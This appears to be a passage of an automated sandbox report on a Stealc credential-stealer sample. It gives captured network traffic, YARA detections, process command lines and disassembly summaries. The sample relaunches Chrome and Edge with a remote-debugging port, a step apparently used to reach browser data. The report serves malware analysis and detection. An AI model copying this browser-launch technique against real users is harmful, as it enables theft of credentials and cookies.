2024-10-29 16:59:36 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-29 16:59:37 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:37 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:37 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165937Z-16849878b78j5kdg3dndgqw0vg00000008m0000000004kab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:37 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:37 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:37 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165937Z-16849878b785jrf8dn0d2rczaw00000007y000000000kntn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:37 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:37 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165937Z-15b8d89586ff5l62aha9080wv0000000085g000000005eg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Target ID:	0
Start time:	12:59:06
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf70000
File size:	2'119'168 bytes
MD5 hash:	105C8A7E9D2A376932BBAC2A96952E8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2732215385.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2222130039.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:59:17
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:59:18
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2212,i,17521321989125711666,7412979055019799333,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:59:29
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:59:29
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2320,i,15118049081942397489,15205487494085230485,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:59:29
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:59:30
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2772 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:59:33
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:59:34
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:59:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:59:35
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7412 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:00:30
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=2208,i,2038679318912757788,6254700401294016102,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6F688,00001000), ref: 6C9E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9E369F
__aulldiv.LIBCMT ref: 6C9E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C9E3773
EnterCriticalSection.KERNEL32(6CA6F688), ref: 6C9E377E
LeaveCriticalSection.KERNEL32(6CA6F688), ref: 6C9E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9E37C4
EnterCriticalSection.KERNEL32(6CA6F688), ref: 6C9E37CB
LeaveCriticalSection.KERNEL32(6CA6F688), ref: 6C9E3801
__aulldiv.LIBCMT ref: 6C9E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C9E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C9E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C9E394C

Strings

GenuntelineI, xrefs: 6C9E3639
GTC, xrefs: 6C9E3912
AuthcAMDenti, xrefs: 6C9E3946
MOZ_TIMESTAMP_MODE, xrefs: 6C9E35DB
QPC, xrefs: 6C9E38FC

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 1907c62a5382d05547167066c694900bbef2a981e5556b4a850622405779ea81
Instruction ID: dd1aeeaa373af62f6f7626a9ac54a72873cf8ae3a932edf2891ef7a2e5cba1fa
Opcode Fuzzy Hash: 1907c62a5382d05547167066c694900bbef2a981e5556b4a850622405779ea81
Instruction Fuzzy Hash: C4B1B2B5B093419FDB0D8F3AC84466A7BFABB99704F05C92DE499D3760D770D8028B91

Function 6C9FC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C9FC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C9FC969
GetSystemInfo.KERNEL32(?), ref: 6C9FC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C9FC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C9FC9E2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 221b51d385ed5e09bdaacfa5d4647b4c56af4ce491929ee930524f57ca25152b
Instruction ID: 1a40d1867803609d93e18982074f20ff468f834616ef763d3a86f8c1028eed31
Opcode Fuzzy Hash: 221b51d385ed5e09bdaacfa5d4647b4c56af4ce491929ee930524f57ca25152b
Instruction Fuzzy Hash: 2321D631745305ABDB18AE65DC84BBE7379AB86304F50811EF963A6A40DB70E9858790

Function 6C9E3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C9E3095

Part of subcall function 6C9E35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA6F688,00001000), ref: 6C9E35D5
Part of subcall function 6C9E35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9E35E0
Part of subcall function 6C9E35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9E35FD
Part of subcall function 6C9E35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9E363F
Part of subcall function 6C9E35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9E369F
Part of subcall function 6C9E35A0: __aulldiv.LIBCMT ref: 6C9E36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9E309F

Part of subcall function 6CA05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA056EE,?,00000001), ref: 6CA05B85
Part of subcall function 6CA05B50: EnterCriticalSection.KERNEL32(6CA6F688,?,?,?,6CA056EE,?,00000001), ref: 6CA05B90
Part of subcall function 6CA05B50: LeaveCriticalSection.KERNEL32(6CA6F688,?,?,?,6CA056EE,?,00000001), ref: 6CA05BD8
Part of subcall function 6CA05B50: GetTickCount64.KERNEL32 ref: 6CA05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9E30BE

Part of subcall function 6C9E30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C9E3127
Part of subcall function 6C9E30F0: __aulldiv.LIBCMT ref: 6C9E3140

Part of subcall function 6CA1AB2A: __onexit.LIBCMT ref: 6CA1AB30

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 76e34f449ac365467ef3e4ef3b2af1853606ae9bef59388bf3f93e7e9510b18d
Instruction ID: 336106bfd8fc80be6bdc26c78a34c5bd2414283de351e0a4117e35d062b24453
Opcode Fuzzy Hash: 76e34f449ac365467ef3e4ef3b2af1853606ae9bef59388bf3f93e7e9510b18d
Instruction Fuzzy Hash: 62F02616E247C596CB14DF359C412F6B374AF7B218F00A31DE84453661FB20A2D983C2

Non-executed Functions

Function 6C9F5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C9F5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9F54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9F54BE
__Init_thread_footer.LIBCMT ref: 6C9F54DB

